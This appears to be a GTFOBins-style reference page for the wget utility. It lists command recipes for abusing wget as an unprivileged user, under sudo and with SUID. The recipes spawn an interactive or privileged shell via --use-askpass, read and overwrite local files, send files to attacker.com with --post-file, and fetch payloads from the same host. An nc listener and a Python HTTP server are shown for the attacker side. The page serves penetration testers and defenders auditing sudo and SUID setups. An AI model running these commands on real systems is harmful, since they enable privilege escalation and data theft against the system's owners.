wget

Shell

This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
echo -e '#!/bin/sh\n/bin/sh 1>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
wget --use-askpass=/path/to/temp-file 0
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo -e '#!/bin/sh\n/bin/sh 1>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
wget --use-askpass=/path/to/temp-file 0
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
```
echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
wget --use-askpass=/path/to/temp-file 0
```

File write

This executable can write data to local files.

CommentThe file to be read is treated as a list of URLs, one per line, which are actually fetched by wget. The content appears, somewhat modified, as error messages.
Unprivileged
This function can be performed by any unprivileged user.
```
wget -i /path/to/input-file -o /path/to/output-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
wget -i /path/to/input-file -o /path/to/output-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
wget -i /path/to/input-file -o /path/to/output-file
```

File read

This executable can read data from local files.

CommentThe file to be read is treated as a list of URLs, one per line, which are actually fetched by wget. The content appears, somewhat modified, as error messages.
Unprivileged
This function can be performed by any unprivileged user.
```
wget -i /path/to/input-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
wget -i /path/to/input-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
wget -i /path/to/input-file
```
RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.

Upload

This executable can upload local data.

Unprivileged
This function can be performed by any unprivileged user.
```
wget --post-file=/path/to/input-file http://attacker.com
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
wget --post-file=/path/to/input-file http://attacker.com
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
wget --post-file=/path/to/input-file http://attacker.com
```
ReceiverAn HTTP server can be used on the attacker box to receive the data.
```
nc -l -p 80 | awk 'BEGIN {RS="\r\n\r\n";ORS=""} NR==2' >/path/to/output-file
```
Unprivileged
This function can be performed by any unprivileged user.
```
wget --post-data=DATA http://attacker.com
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
wget --post-data=DATA http://attacker.com
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
wget --post-data=DATA http://attacker.com
```
ReceiverAn HTTP server can be used on the attacker box to receive the data.
```
nc -l -p 80 | awk 'BEGIN {RS="\r\n\r\n";ORS=""} NR==2' >/path/to/output-file
```

Download

This executable can download remote data.

Unprivileged
This function can be performed by any unprivileged user.
```
wget http://attacker.com/path/to/input-file -O /path/to/output-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
wget http://attacker.com/path/to/input-file -O /path/to/output-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
wget http://attacker.com/path/to/input-file -O /path/to/output-file
```
SenderAn HTTP server can be used on the attacker box to send the data.
```
python -m http.server 80
```